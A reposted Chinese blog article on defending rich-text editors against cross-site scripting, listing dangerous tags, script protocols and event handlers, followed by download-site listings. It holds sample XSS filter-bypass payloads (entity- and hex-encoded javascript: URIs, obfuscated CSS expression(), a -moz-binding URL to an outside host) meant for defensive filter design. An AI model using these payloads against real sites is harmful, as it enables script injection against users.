`

富文本编辑器的跨站脚本问题参考

 
阅读更多

转自:茄子

富 文本编辑器是一个开放式的HTML内容编辑环境,必须实现文字样式、链接、图片等功能的HTML,所以用户POST的内容必须含有HTML标签,但是任由 用户输入各类HTML标签,会造成一些潜在的恶意脚本攻击,借这类情况正好分析出现XSS的情况,主要针对IE浏览器.

一.首先是微软建议我们可能造成恶意脚本攻击的标签.

类似如下的

tag:

applet
base   
basefont
bgsound
blink
body
embed
frame
frameset
head   
html   
ilayer
iframe
layer  
link     
meta    
object
style
title
script

-----------------------------------
类似这类

<tag

必须删除.


二.针对HTML属性值的协议攻击.

tag:

dynsrc=
href=
lowsrc=
src=
background=
value=
action=
bgsound=

黑客可能利用如下协议:

脚本伪协议

vbscript:
javascript:

文件类协议

ms-its:
mhtml:
data:

第三方协议

firefoxurl:
mocha:
livescript:

---------------------------------
类似这类

<xxx tag=xxx:

如:

<IMG LOWSRC="javascript:alert('XSS')">

必须判断属性的用的啥协议,给个http:就好了.


三.针对普通HTML属性值的编码,黑客可利用HTML特性将属性值做编码绕过过滤.

&# 加 ASCII格式

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

---------------------------------
类似这类

<xxx tag=&#

必须判断属性的值&转换成 &amp;


四.css样式style属性问题.

<XSS STYLE="xss:expression(alert('XSS'))">
<XSS STYLE="behavior: url(xss.htc);">

style属性可以和任意字符的标签结合,因此不是<tag>的问题,必须对style属性值做过滤.

behavior需指定域内也就是绝对路径的HTC文件,危害不大.

expression可以构造不同的全角字符和注释符来扰乱过滤规则.

如:

<XSS STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

<XSS STYLE="xss:exprEssion(alert('XSS'))">

<div style="{ left:expression( alert('xss') ) }">

---------------------------------
类似这类

<xxx style="xxxxxxxxxx"

必须判断style属性的值, :( ~这里正则超级难写,实在不过滤的话,列个白名单,只允许某些值.


五.css样式style属性其他问题.

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

<DIV STYLE="list-style-image: url("javascript:alert('XSS')">

<DIV style="-moz-binding:url(http://xxx.com/mozxss.xml#xss)">

---------------------------------
类似这类

<xxx style="xxxxxxx:url(xxxxx)"

还是判断协议头之类吧.


六.针对普通style属性值的编码,黑客可利用HTML特性将属性值做编码绕过过滤.

转义字符\ 加 16进制格式

<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">


---------------------------------
类似这类

<xxx style="xxxxxxx:\00xx\00xx"

搞个正则过滤\+数字的字符串.


七.针对正常标签组合事件触发脚本的问题.

黑客可以利用类似事件触发脚本:

onload
onerror
onmousemove
onmouseout
onmouseover
onmouseup
onmouseenter
onmouseleave
onmousewheel
onscroll
....................................

类似这类

<xxx on*=

如:

<img src=xx onerror=alert(/xss/)>

情况都给过滤吧.


八.第三方媒体文件,崭只针对FLASH与WEB交互的问题.

FLASH的Action Script比较危险,可以和用户做交互式的访问.

可以设置Flash对象的AllowScriptAccess参数为never来解决问题。

AllowScriptAccess 参数有三个可选值,always、never 和 sameDomain

never 禁止运行对外脚本
always 可以运行对外脚本
sameDomain 只允许同一域下的Flash运行对外脚本


<embed src="demo.swf" quality="high"
pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="550" height="400" AllowScriptAccess="never"></embed>

分享到:
评论

相关推荐

    sdEditor富文本编辑器 v1.1.1.zip

    8. **安全性**:在使用富文本编辑器时,需要注意防止XSS(跨站脚本攻击),确保用户输入的内容经过适当的过滤和转义,避免注入恶意代码。 9. **性能优化**:对于大型网站或高并发场景,编辑器的加载速度和内存占用...

    富文本编辑器

    如果是示例文件,可以作为参考学习如何使用和集成富文本编辑器。 总之,富文本编辑器是现代网页开发中不可或缺的工具,它通过提供直观易用的界面,帮助用户在网页上生成格式化的文本内容。不同的富文本编辑器库各有...

    百度富文本编辑器

    **富文本编辑器详解** 富文本编辑器是网页开发中常用的一种工具,它允许用户在浏览器端进行格式化的文本输入,比如插入图片、链接、列表、字体样式等,极大地提升了用户体验。百度团队开发的富文本编辑器因其易用性...

    安卓富文本编辑器

    8. **兼容性**:确保富文本编辑器在各种Android设备和版本上都能正常工作,可能需要处理不同屏幕尺寸、系统版本差异等问题。 9. **自定义扩展**:根据应用需求,开发者可以进一步扩展编辑器功能,比如添加表格、...

    富文本编辑器markitup

    富文本编辑器MarkItUp是一个轻量级且可高度自定义的开源编辑器,主要用于网页开发,让用户在网页上可以方便地编辑和格式化文本。这个编辑器支持多种标记语言,如HTML、Markdown、Textile等,适用于博客、论坛、评论...

    ueditor富文本编辑器jsp版

    【标题】"ueditor富文本编辑器jsp版"所涉及的知识点主要集中在Web开发领域,尤其是前端和后端交互的部分。ueditor是一款由百度开发的强大的富文本编辑器,它为用户提供了丰富的文本编辑功能,如字体样式设置、图片...

    富文本编辑器jsp版.rar

    本资源"富文本编辑器jsp版.rar"提供了一个完整的JSP版本的富文本编辑器Demo,对于开发者来说,这是一个非常实用的学习和参考工具。 富文本编辑器的核心功能包括: 1. **文本格式化**:支持加粗、斜体、下划线等...

    umeditor 富文本编辑器

    "umeditor 富文本编辑器"是一款非常实用的在线文本编辑工具,专为网页开发者设计。它以其轻量级、易用性和强大的功能而受到广泛欢迎。只需在网页中引入一个CSS样式表文件和一个JavaScript脚本文件,就能快速集成到...

    Textricheditor轻量级富文本编辑器所见即所得

    富文本编辑器是一种在网页上实现用户可以直观编辑和格式化文本的工具,"Textricheditor"就是这样一个轻量级的、所见即所得(WYSIWYG)的富文本编辑器。它主要基于JavaScript技术,使得网页开发者能够轻松地在网页中...

    ckeditor在ecshop中替换原富文本编辑器

    在压缩包“富文本编辑器替换”中,可能包含了替换过程的详细步骤、配置文件示例、可能需要的脚本代码等资源,这些都是实际操作中非常重要的参考资料。在替换过程中,一定要备份原有代码,以防止出现意外情况时能够...

    QTP测试实验报告用富文本编辑器美化内容.docx.zip

    【标题】"QTP测试实验报告用富文本编辑器美化内容.docx.zip"涉及的核心知识点是软件测试中的自动化测试工具QuickTest Professional(QTP)以及富文本编辑器的应用。QTP,现已被命名为UFT(Unified Functional ...

    kindeditor富文本编辑器.zip

    KindEditor是一款功能强大的富文本编辑器,主要用于网页内容的创建和编辑。它以其跨浏览器兼容性、JavaScript编程语言的应用以及与各种服务器端技术(如JAVA、.NET、PHP、ASP等)的良好集成而受到广大开发者的青睐。...

    asp.net 社区,论坛,SNS前台使用富文本编辑器

    总的来说,这个压缩包提供了一个关于如何在ASP.NET环境中集成和安全使用富文本编辑器的实例,对于开发者来说,这是一个很好的学习和参考资源。通过深入研究这些文件,我们可以了解具体的实现细节,提升我们的开发...

    真正解决百度编辑器UEditor上传图片跨域问题.docx

    在现代Web开发中,前后端分离是一种常见的架构模式,其中富文本编辑器如UEditor(由百度开发)扮演着重要的角色。UEditor允许用户在编辑器中插入图片、视频等多媒体内容,但当涉及到图片上传时,可能会遇到跨域问题...

    简洁的富文本编辑器NicEdit插件

    NicEdit是一个简洁且轻量级的富文本编辑器插件,专为那些追求高效、简洁和跨平台解决方案的开发者设计。在这个专题中,我们将深入探讨NicEdit的基本功能、优点、如何使用以及其在实际项目中的应用。 首先,让我们...

    asp网页文本编辑器

    FCKeditor是一个非常流行的开源富文本编辑器,它为用户提供了类似于Word的在线编辑体验,可以方便地在网页上创建和编辑内容。FCKeditor支持多种格式的文本输入,包括HTML、图片上传、链接插入等功能。它在Web开发...

    ueditor富文本编辑器资源

    【ueditor富文本编辑器资源】是一个用于网页端的高级文本编辑工具,广泛应用于内容管理系统、博客平台、论坛等需要用户输入文字的场景。ueditor以其功能强大、易用性好、可定制性强等特点,深受开发者喜爱。它支持...

Global site tag (gtag.js) - Google Analytics